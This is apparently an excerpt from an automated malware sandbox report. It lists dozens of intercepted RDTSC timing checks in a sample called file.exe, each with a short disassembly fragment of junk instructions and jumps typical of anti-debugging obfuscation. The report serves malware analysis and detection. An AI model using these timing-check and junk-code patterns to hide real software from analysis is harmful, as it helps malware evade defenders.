Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609A06 second address: 609A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2398D03469h 0x0000000a jc 00007F2398D0345Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609A2C second address: 609A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F239852C05Bh 0x0000000d jl 00007F239852C056h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609A45 second address: 609A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F180 second address: 60F186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6127B5 second address: 6127B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF717 second address: 5CF790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F239852C06Dh 0x0000000c jmp 00007F239852C067h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F239852C05Fh 0x00000018 nop 0x00000019 add dword ptr [ebp+122DB8A1h], edx 0x0000001f mov dx, 3C23h 0x00000023 lea eax, dword ptr [ebp+124914E0h] 0x00000029 pushad 0x0000002a push ebx 0x0000002b jl 00007F239852C056h 0x00000031 pop esi 0x00000032 mov esi, dword ptr [ebp+122D37E5h] 0x00000038 popad 0x00000039 mov cl, D4h 0x0000003b nop 0x0000003c push edi 0x0000003d pushad 0x0000003e jmp 00007F239852C05Ch 0x00000043 jmp 00007F239852C05Bh 0x00000048 popad 0x00000049 pop edi 0x0000004a push eax 0x0000004b push ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f pop eax 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF790 second address: 5CF794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF794 second address: 5AA651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 call dword ptr [ebp+122D1CE8h] 0x0000000e pushad 0x0000000f jmp 00007F239852C05Ah 0x00000014 jg 00007F239852C062h 0x0000001a pushad 0x0000001b js 00007F239852C056h 0x00000021 jmp 00007F239852C064h 0x00000026 popad 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFEA8 second address: 5CFEE3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F2398D03458h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push eax 0x00000029 jc 00007F2398D0345Eh 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D050F second address: 5D0555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, edx 0x0000000e push 0000001Eh 0x00000010 mov dword ptr [ebp+122D1BE8h], esi 0x00000016 sub dword ptr [ebp+122D275Eh], edx 0x0000001c nop 0x0000001d jmp 00007F239852C05Dh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007F239852C05Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0823 second address: 5D0827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D08C1 second address: 5D08C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D08C5 second address: 5D08CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612BD1 second address: 612BD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612BD6 second address: 612BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 jmp 00007F2398D03469h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61301C second address: 613020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613020 second address: 61302C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615796 second address: 61579A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61579A second address: 6157C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2398D03456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2398D0345Fh 0x00000012 jo 00007F2398D03456h 0x00000018 popad 0x00000019 pop ecx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157C3 second address: 6157C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157C9 second address: 6157DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157DE second address: 6157E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157E2 second address: 615816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2398D03465h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C5B second address: 618C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F239852C056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C69 second address: 618C6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C6D second address: 618C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C05Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C7F second address: 618C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C87 second address: 618C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581024 second address: 58105A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 jmp 00007F2398D03466h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2398D0345Eh 0x00000014 jbe 00007F2398D03458h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618409 second address: 618451 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F239852C060h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F239852C05Ch 0x00000011 jbe 00007F239852C056h 0x00000017 pop esi 0x00000018 jmp 00007F239852C05Dh 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 jno 00007F239852C056h 0x00000027 ja 00007F239852C056h 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618451 second address: 618464 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618464 second address: 61846A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185A0 second address: 6185B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D03461h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185B5 second address: 6185BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185BD second address: 6185C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185C5 second address: 618601 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F239852C056h 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007F239852C056h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F239852C05Ah 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 jmp 00007F239852C064h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618601 second address: 618621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2398D03467h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618621 second address: 618650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F239852C05Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F239852C061h 0x00000011 je 00007F239852C056h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187AF second address: 6187BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F2398D03456h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187BB second address: 6187BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187BF second address: 6187DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D03463h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61894D second address: 618953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618953 second address: 618957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618957 second address: 618982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C066h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F239852C05Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F6C4 second address: 61F6CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F6CB second address: 61F6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F6D1 second address: 61F6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F2398D03456h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E16F second address: 61E18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F239852C068h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E18D second address: 61E1B8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jmp 00007F2398D03460h 0x00000011 ja 00007F2398D03458h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E495 second address: 61E4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C065h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E5F0 second address: 61E603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2398D0345Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E603 second address: 61E607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D032E second address: 5D0338 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2398D0345Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E8CF second address: 61E8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E8D4 second address: 61E8EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2398D03463h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C2D second address: 622C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C31 second address: 622C37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C37 second address: 622C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C3D second address: 622C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2398D0345Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622EBA second address: 622EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622EC0 second address: 622ED2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F2398D0345Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626AB1 second address: 626AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626AB5 second address: 626ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626ABB second address: 626AC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626AC0 second address: 626AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626C35 second address: 626C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F239852C056h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F239852C065h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626C59 second address: 626C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2398D0345Bh 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F2398D0345Ah 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626C7C second address: 626C81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CBE0 second address: 62CBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CBE4 second address: 62CBFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F239852C05Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CBFD second address: 62CC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F2398D0345Ch 0x0000000c jnl 00007F2398D03456h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC12 second address: 62CC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F239852C056h 0x0000000a popad 0x0000000b jmp 00007F239852C05Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC2E second address: 62CC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC32 second address: 62CC36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D4D8 second address: 62D516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F2398D03463h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c jmp 00007F2398D03464h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D516 second address: 62D51A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D818 second address: 62D81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D81F second address: 62D824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D824 second address: 62D82A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DE15 second address: 62DE65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F239852C05Ch 0x0000000e jne 00007F239852C056h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F239852C05Ch 0x0000001d pushad 0x0000001e jmp 00007F239852C060h 0x00000023 jmp 00007F239852C069h 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E68A second address: 62E693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E693 second address: 62E6AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F239852C065h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6343D2 second address: 6343E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63746F second address: 637473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637473 second address: 637479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637479 second address: 637495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C068h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637794 second address: 6377C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03464h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2398D03464h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637955 second address: 63796B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C060h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D9D second address: 637DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D03463h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63800D second address: 638022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C05Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638022 second address: 638028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641AD8 second address: 641AEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F239852C056h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641AEA second address: 641AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641AEE second address: 641AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB1D second address: 63FB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
